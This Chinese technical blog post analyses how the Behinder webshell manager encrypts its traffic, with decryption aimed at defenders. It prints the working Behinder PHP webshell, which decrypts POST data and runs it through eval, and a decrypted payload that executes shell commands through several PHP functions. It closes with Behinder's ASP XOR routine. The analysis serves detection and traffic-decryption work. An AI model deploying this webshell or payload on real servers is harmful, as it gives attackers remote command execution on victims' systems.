流量加密怎么办?主流webshell管理工具流量解密分析

一、引言
某行动在即,本文基于冰蝎Behinder_v3.0.11和哥斯拉v4.00-godzilla,对它们的加解密方式进行识别和分析【附简易解密脚本】,希望能在行动中助大家一臂之力 。
二、冰蝎
冰蝎加密机制,通过阅读代码可知分为四类,即jsp,php,aspx,asp 。

流量加密怎么办?主流webshell管理工具流量解密分析

文章插图
 
2.1 PHP
阅读php木马脚本:
<?php@error_reporting(0);session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}echo "no openssl";}else{$post=openssl_decrypt($post, "AES128", $key);}// echo $post;// echo "------------------";$arr=explode('|',$post);// echo $arr[1];// echo "------------------";$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?>阅读代码可知,在有openssl的情况下冰蝎会使用openssl进行aes128解密,在没有的情况下使用异或解密 。
以一次cmd执行为例进行分析为例:
流量加密怎么办?主流webshell管理工具流量解密分析

文章插图
 
抓取请求进行AES128解密,得到如下代码,与冰蝎源码中的php payload互相对应:
@error_reporting(0);function getSafeStr($str){$s1 = iconv('utf-8','gbk//IGNORE',$str);$s0 = iconv('gbk','utf-8//IGNORE',$s1);if($s0 == $str){return $s0;}else{return iconv('gbk','utf-8//IGNORE',$str);}}function main($cmd,$path){@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time', 0);$result = array();$PadtJn = @ini_get('disable_functions');if (! empty($PadtJn)) {$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);$PadtJn = explode(',', $PadtJn);$PadtJn = array_map('trim', $PadtJn);} else {$PadtJn = array();}$c = $cmd;if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {$c = $c . " 2>&1n";}$JueQDBH = 'is_callable';$Bvce = 'in_array';if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {ob_start();system($c);$kWJW = ob_get_contents();ob_end_clean();} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {$handle = proc_open($c, array(array('pipe','r'),array('pipe','w'),array('pipe','w')), $pipes);$kWJW = NULL;while (! feof($pipes[1])) {$kWJW .= fread($pipes[1], 1024);}@proc_close($handle);} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {ob_start();passthru($c);$kWJW = ob_get_contents();ob_end_clean();} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {$kWJW = shell_exec($c);} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {$kWJW = array();exec($c, $kWJW);$kWJW = join(chr(10), $kWJW) . chr(10);} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {$fp = popen($c, 'r');$kWJW = NULL;if (is_resource($fp)) {while (! feof($fp)) {$kWJW .= fread($fp, 1024);}}@pclose($fp);} else {$kWJW = 0;$result["status"] = base64_encode("fail");$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");$key = $_SESSION['k'];echo encrypt(json_encode($result), $key);return;}$result["status"] = base64_encode("success");$result["msg"] = base64_encode(getSafeStr($kWJW));echo encrypt(json_encode($result),$_SESSION['k']);}function encrypt($data,$key){if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15];}return $data;}else{return openssl_encrypt($data, "AES128", $key);}}$cmd="Y2QgL2QgIkU6XHBocHN0dWR5X3Byb1xXV1dcIiZkaXI=";$cmd=base64_decode($cmd);$path="RTovcGhwc3R1ZHlfcHJvL1dXVy8=";$path=base64_decode($path);main($cmd,$path);其中cmd参数即为所传输命令的base64编码,并且可以得出响应体的加密与请求所用方式一致 。
对响应体解密,可以得到如下信息:
流量加密怎么办?主流webshell管理工具流量解密分析

文章插图
 
其中,status与msg均为base64编码,解开即可得到明文 。
其他操作类型同理,均可解密为明文 。
2.2 ASP
由冰蝎代码可知asp使用xor加密
public static byte[] EncryptForAsp(byte[] bs, String key) throws Exception {for(int i = 0; i < bs.length; ++i) {bs[i] ^= key.getBytes()[i + 1 & 15];}return bs;}


推荐阅读